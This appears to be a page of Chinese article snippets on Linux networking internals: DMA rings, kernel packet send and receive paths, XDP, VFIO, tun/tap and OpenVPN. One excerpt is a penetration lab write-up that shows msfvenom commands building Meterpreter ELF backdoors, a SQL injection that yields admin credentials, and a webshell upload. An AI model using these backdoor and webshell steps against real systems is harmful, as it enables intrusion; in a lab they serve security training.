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linux | 数据包到网卡在通过DMA到内存过程

DMA 是一种硬件机制，它允许外围组件将其 I/O 数据直接传输到主内存或从主内存传输数据，而无需系统处理器参与传输。使用这种机制可以极大地增加进出设备的吞吐量，因为大量的计算开销被消除了。...在这种情况下，驱动程序应该维护一个缓冲区，以便后续的读取调用将所有累积的数据返回到用户空间。这种转移涉及的步骤略有不同： 硬件发出中断以宣布新数据已到达。...异步方法的一种变体经常出现在网卡上。这些卡通常希望在与处理器共享的内存中建立一个循环缓冲区（通常称为DMA 环形缓冲区）；每个传入的数据包都放在环中的下一个可用缓冲区中，并发出中断信号。...然后驱动程序将网络数据包传递给内核的其余部分，并在环中放置一个新的 DMA 缓冲区。 所有这些情况下的处理步骤都强调有效的 DMA 处理依赖于中断报告。...要利用直接内存访问，设备驱动程序必须能够分配一个或多个适合 DMA 的特殊缓冲区。

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Intel E810-iRDMA网卡-Linux内核驱动和用户态源码分析

简介 术语 虚拟机队列(VMQ) 接口 用户空间直接访问 (UDA) 旨在以通用方式提供用户空间访问队列，但 E810 不支持此功能。...E810 支持的主要功能包括两个 100 Gigabit 以太网端口、100 Gigabit 吞吐量性能、增强的可编程数据包处理管道、虚拟化（增强的 SR-IOV 支持，最多 256 个 VF 和向后兼容...* 这通过初始化其字段来准备设备以供其他层使用。 如果由该函数调用，则它是 device_register() 的前半部分，尽管它也可以单独调用，因此可以使用 @dev 的字段。...5 表示旧版 i40iw 用户-提供商兼容性。 * 在 irdma_alloc_ucontext 中添加边界检查，以防止与 < 4 用户空间提供程序版本的绑定失败。...www.zhihu.com/people/ssbandjl/posts DPU专栏 https://cloud.tencent.com/developer/column/101987 技术会友: 欢迎对DPU/智能网卡

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应用层发送一个数据包的时候，是如何到达网卡的（下）

从前面的一篇文章应用层发送一个数据包的时候，是如何到达网卡的（上）可以知道，应用层发送一个数据包的时候首先经过tcp_write和ip_queue_xmit函数，然后调用mac层的dev_queue_xmit...2 where等于1，即pri是负数代表这个skb是发送失败后重发的，这时候这个数据包时直接发送出去的，不再走1的那些流程 */ if (!...3c501网卡为例。...\n"); dev_kfree_skb (skb, FREE_WRITE); return 0; } 通过对整个过程的分析我们知道，一个数据包从应用层到网卡的过程中，数据包在tcp层处理完后下发到...再到mac层，数据包也不一定是直接发送出去的，他可能会先缓存在发送队列里，按序发送。如果发送失败，则放回发送队列，等待重发。

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网卡收到一个数据包的时候，是如何传给应用层的（上）

这里以3c501网卡为例，每个设备对应一个device的结构体，下面代码即对3c501网卡的数据结构进行初始化，包括发送函数，注册中断回调，mac头长度等。...* receive mode. */ // 读取数据到skb中 insb(DATAPORT, skb->data, pkt_len); // 传给mac层...netif_rx(skb); lp->stats.rx_packets++; } return; } 驱动层处理生成一个skb结构体，然后通过netif_rx函数传给链路层...netif_rx直接把skb挂载到backlog队列中，然后结束中断处理，等下半部分再进行数据包的具体处理。由sock_init函数的代码我们知道，下半部分的处理函数是net_bh。...just after */ cli(); /* * While the queue is not empty */ // backlog队列的数据包来源于网卡收到的数据包

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Linux内核网络UDP数据包发送（三）——IP协议层分析

前言 Linux内核网络 UDP 协议层通过调用 ip_send_skb 将 skb 交给 IP 协议层，本文通过分析内核 IP 协议层的关键函数来分享内核数据包发送在 IP 协议层的处理，并分享了监控...出于讨论目的，我们假设 nf_hook 返回 1，表示调用者（在这种情况下是 IP 协议层）应该自己发送数据包。 3.2 目的（路由）缓存 dst 代码在 Linux 内核中实现协议无关的目标缓存。...更常见的两种情况是： 如果数据包的长度大于 MTU 并且分片不会 offload 到设备，则会调用 ip_fragment 在发送之前对数据包进行分片 否则，数据包将直接发送到 ip_finish_output2...监控: IP 层 8.1 /proc/net/snmp 这个文件包扩多种协议的统计，IP 层的在最前面，每一列代表什么有说明。 前面我们已经看到 IP 协议层有一些地方会更新计数器。...等函数，本文通过分析这些函数来分享Linux内核数据包发送在 IP 层的处理，并对 IP 层进行了数据监控。

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Linux BSP实战课（网络篇）：数据包的接收过程

本文将介绍在Linux系统中，以一个UDP包的接收过程作为示例，介绍数据包是如何一步一步从网卡传到进程手中的。 网卡到内存 网络接口卡必须安装与之匹配的驱动程序才能正常工作。...2：网卡使用直接内存访问（DMA）技术将数据包写入指定的内存地址。这些内存地址由网卡驱动程序进行分配和初始化。 3：网卡通过硬件中断请求（IRQ）向CPU发送通知，以告知数据已到达。...5：驱动程序首先禁用网卡的中断功能，表示驱动程序已知晓数据已存储在内存中，并告知网卡在接收到下一个数据包时直接写入内存，而无需再次通知CPU，从而提高效率，并避免CPU被频繁中断。 6：启动软中断。...： ip_rcv：ip_rcv函数是IP模块的入口函数，在该函数里面，第一件事就是将垃圾数据包（目的mac地址不是当前网卡，但由于网卡设置了混杂模式而被接收进来）直接丢掉，然后调用注册在NF_INET_PRE_ROUTING...如果socket上设置了过滤条件且该数据包不满足条件，则该数据包也会被丢弃。在Linux中，每个socket都可以像tcpdump中一样定义过滤条件，不满足条件的数据包将被丢弃。

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三层网络靶场搭建&MSF内网渗透

将kali设为第一层网络vmnet1 ? 将第一层靶机设为双网卡vmnet1和vmnet2 ? ? 将第二层靶机设置为双网卡：vmnet2和vmnet3： ? ? 将第三层靶机设为vmnet3： ?...6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >shell.elf 将shell.elf上传到第一层靶机192.168.59.129...同样，为了打进第三层，我们需要在第二层靶机上上传msf后门， 制作后门： msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4321 -f elf > shell1...发现开放了80、445端口 第三层网络 在chrome 修改代理，端口改为9998 ? 访问第三层网络 ? 查询处存在SQL注入 ? 抓包： ?...得到后台用户密码：admin/faka123 ? 登录： ? 发现flag。接着在logo上传处发现任意文件上传： ? 直接上传木马，获得路径： ? 菜刀连接，网站根目录发现flag ?

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Ubuntu 将不再跟踪用户安装的软件包 | Linux 中国

引用 Ubuntu 帮助页面上的一句话： Ubuntu 人气竞赛 …… 收集统计数据，以确定哪些软件包在 Ubuntu 用户中最受欢迎。人气竞赛软件包会每周一次向中央服务器提交数据。...它收集到的统计数据用于帮助“改进 Ubuntu 的未来版本，使最受欢迎的软件包成为新用户自动安装的软件包”。...而另外一方面，随着 Snap、Flatpak、PPA 和其它途径给开发者提供了更直接的触达用户的方式（也就无法更准确地统计有多少人在使用他们的软件了），“仓库中流行的东西”的相对优点……嗯，有点不切实际...不是，但这是一个相当值得注意的删除，因为它跟上了 Linux 软件包分发和获取的变化。 从现有的 Ubuntu 安装中删除 Ubuntu 人气竞赛也是可以的。...这个过程也会删除 ubuntu-standard 包。这是一个元包，它告诉 Ubuntu 在“标准”安装中要引入哪些包。虽然它不应该被删除（一般来说），但这是完全删除这个包的唯一方法。

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高性能网络编程 - 白话TCP 三次握手过程

文章目录 概述 TCP协议头的格式 TCP Finite State Machine (FSM) 状态机 三次握手 如何在 Linux 系统中查看 TCP 状态 概述 每一个抽象层建立在低一层提供的服务上...中，然后再打到以太网Ethernet的Frame中，传到对端后，各个层解析自己的协议，然后把数据交给更高层的协议处理。...⑧ 用户 B 应用程序的处理 接收端应用程序会直接接收发送端发送的数据。通过解析数据，展示相应的内容。...4）TCP Flag ：也就是包的类型，主要是用于操控TCP的状态机的。 一般来说，不管计算机中有多少网卡，每个网卡都会有自己的 MAC 地址，这个MAC 地址是不会变化的。...如何在 Linux 系统中查看 TCP 状态 在 Linux 可以通过 netstat -napt 命令查看

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OpenVPN原理及部署使用

工作原理 虚拟网卡 在Linux2.4版本以上，操作系统支持一个名为tun的设备，tun设备的驱动程序中包含两个部分，一部分是字符设备驱动，一部分是网卡驱动。...数据包的处理过程 发送数据流程 应用层的外出数据，经过系统调用接口传入核心TCP/IP层做处理，在TCP/IP经过路由到虚拟网卡，虚拟网卡的网卡驱动发送处理程序hard_start_xmit()将数据包加入...skb表并完成数据包从核心区到用户区的复制，OpenVPN调用虚拟网卡的字符处理程序tun_read()，读取到设备上的数据包，对读取的数据包使用SSL协议做封装处理后，通过socket系统调用发送出去...接受数据流程 物理网卡接收数据包，经过核心TCP/IP上传到OpenVPN，OpenVPN通过link_socket_read()接收数据包，使用SSL协议进行解包处理，经过处理的数据包OpenVPN...调用虚拟网卡的字符处理程序tun_write()写入虚拟网卡的字符设备，设备驱动程序完成数据从用户区到核心区的复制，并将数据写入skb链表，然后调用网卡netif_rx()接收程序，数据包再次进入系统TCP

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jvm可达性分析算法_对点网络

网卡能做的事（TCP/UDP组包校验和分段，IP添加包头校验与分片）尽量往网卡做，网卡不能做的也尽量迟后分片（发送）或提前合并片（接收）来减少在网络栈中传输和处理的包数目，从而减少数据传输和上下文切换所需要的...2, 物理网卡不支持UFO时，使用GSO时在发送给驱动前一刻做，不使用GSO在IP层软件做。 3, 物理网卡不支持TSO时，使用GSO时在发送给驱动前一刻做，不使用GSO在TCP层软件做。...5, 如果host不支持GSO，那么在host的IP层直接对外层的UDP分片，注意：只有第1个分片有UDP头，接下来的分片没有UDP头。...从host到guest的包流向 1, 如果host上的GRO打开的话，host上的物理网卡要先将分片重组合并成一个大的GRO包。...2, 即使br-ex不是linux bridge，eth0在重组后做完防火墙后再使用9000再重新分片， 再传到后面1500的虚拟设备又会重组。

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【Linux 内核】Linux 内核体系架构 ( 硬件层面 | 内核空间 | 用户空间 | 内核态与用户态切换 | 系统调用 | 体系结构抽象层 )

文章目录 一、Linux 内核体系架构 二、内核态与用户态切换 ( 系统调用层 ) 三、体系结构抽象层 一、Linux 内核体系架构 ---- Linux 内核最初的源码不足一万行 , 当前的 Linux...应用程序进程 , 虚拟机 等 ; 二、内核态与用户态切换 ( 系统调用层 ) ---- Linux 内核 实现 内核态 和 用户态 , 使用到了 ring0 和 ring3 两种模式 , ring0...是 内核态 , ring3 是 用户态 ; 软件抽象层作用 : Linux 内核中 , 使用 软件抽象层 在 内核态 ( ring0 ) 和 用户态 ( ring3 ) 之间进行切换 ; 软件抽象层 又称为...系统调用层 ( System Call ) ; 每种处理器体系结构 都提供了 实现 用户态 与 内核态 之间切换的 特殊指令 , Linux 内核也利用了该特殊指令 , 进行了用户态 与 内核态 的切换..., 该指令在 系统调用层 调用 , 系统调用层 可以 使 真实硬件信息 对 用户进程透明 , 用户进程读取文件内容时 , 只需要使用 open / read / mmap 函数 , 打开一个路径上的文件即可

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你学会如何将项目部署到Linux系统上了吗？要不我带你耍耍。

因为RPM已经称为Linux系统中重要的安装和解压工具，所以在Linux系统中内置了关于操作RPM的rpm命令。可以直接通过命令来操作这些.rpm安装包。...28.1 在Linux系统中安装JDK（需要配置环境变量） 第一步：先将软件通过xftp5上传到/opt下 第二步：解压到/opt目录下 (tar -zxvf 压缩包 -C(大写的C) 解压到的路径)...注意：需要关闭Linux系统中饿防火墙。 连接虚拟机的时候使用的虚拟网卡，不是实际的网卡。...我们此时使用的是虚拟的Linux系统，不是实际存在的电脑，所以使用虚拟网卡，在实际开发中，Linux会部署到一个Linxu服务器上，这个服务器是真是存在的，此时就需要使用实际网卡。...虚拟网卡 实际网卡 经过了小编几天的爆肝，终于把Linux系统的笔记总结完成，如果对大家有帮助的话，欢迎大家点赞支持一下，小编将会万分感动！！

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XDP技术——linux网络处理的高速公路

XDP全称eXpress Data Path，即快速数据路径，XDP是Linux网络处理流程中的一个eBPF钩子，能够挂载eBPF程序，它能够在网络数据包到达网卡驱动层时对其进行处理，具有非常优秀的数据面处理性能...• XDP_DROP会在网卡驱动层直接将该数据包丢掉，无需再进一步处理，也就是无需再耗费任何额外的资源。...• XDP_REDIRECT则是将数据包重定向到其他的网卡或CPU，结合AF_XDP可以将数据包直接送往用户空间。 以上几种XDP动作码的组合，带来了多种应用可能。...通过XDP程序的redirect，我们可以将报文重定向到一块指定的用户态可读写的内存队列(UMEM)中，用户态的应用程序可以直接使用AF_XDP socket即XSK去接收数据，直接访问这块内存的数据包...智能网卡也开始对eBPF卸载进行了支持，将包处理进一步从网卡驱动层卸载到了网卡，释放了更多的主机CPU资源，实现更高的性能。

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VFIO(Virtual Function IO)研究

VFIO原理 VFIO把设备通过IOMMU映射的DMA物理内存地址映射到用户态中,让用户态程序可以自行操纵数据的传输,还可以自行注册中断处理函数,从而在用户态下实现设备的驱动程序....虚拟化中VFIO的应用 这里演示一个将网卡设备利用VFIO透传到虚拟机中的例子.需要注意的是,利用VFIO将PCI设备透传到虚拟机之后,Host将无法使用该设备....将Host的PCI网卡透传到虚拟机 首先在Host上使用lspci查看拥有的PCI网卡型号,可以看到Realtek的一款网卡,该网卡的PCI标记为06:00.0. ?...要使用VFIO,必须在Linux启动时添加启动项intel_iommu=on,因为VFIO的底层依赖IOMMU....进入guest之后运行lspci,可以看到相比之前的PCI设备,多了一个Realtek网卡,这个网卡和host上的信息一模一样,证明将网卡透传到Guest成功!. ---- ?

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Linux网络虚拟化2

实在可啃不下去可以直接看下一篇内容，用到linux网络知识再过来回顾。 概念补充 交换机的作用可以理解为将一些机器连接起来组成一个局域网。工作于二层网络。...那么，使用 tun/tap 设备的目的，其实是为了把来自协议栈的数据包，先交给某个打开了/dev/net/tun字符设备的用户进程处理后，再把数据包重新发回到链路中。...当有二层数据包（以太帧）从网卡进入 Linux Bridge，它就会根据数据包的类型和目标 MAC 地址，按照如下规则转发处理： 如果数据包是广播帧，转发给所有接入网桥的设备。...，这个数据包将不会转发到任何设备，而是直接交给上层（三层）协议栈去处理。...在收到数据包后，物理网卡会根据目标 MAC 地址，判断这个包应该转发给哪块副本网卡处理，由同一块物理网卡虚拟出来的副本网卡，天然处于同一个 VLAN 之中，因此可以直接二层通信，不需要将流量转发到外部网络

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Linux 经典的几款收包引擎

对发送和接收的数据包通过Linux内核做过滤和缓冲处理，最后直接传递给上层应用程序。...6、libpcap绕过了Linux内核收包流程中协议栈部分的处理，使得用户空间API可以直接调用套接字PF_PACKET从链路层驱动程序中获得数据报文的拷贝，将其从内核缓冲区拷贝至用户空间缓冲区（ 「第...这又减少了一次拷贝 （ 「libpcap_mmap的第2次拷贝」 ：rx_buffer->skb） PF-RING ZC实现了DNA（Direct NIC Access 直接网卡访问）技术，将用户内存空间映射到驱动的内存空间...，使用户的应用可以直接访问网卡的寄存器和数据。...cpu affinity：即 CPU 亲和性 XDP xdp代表eXpress数据路径，使用ebpf 做包过滤，相对于dpdk将数据包直接送到用户态，用用户态当做快速数据处理平面，xdp是在驱动层创建了一个数据快速平面

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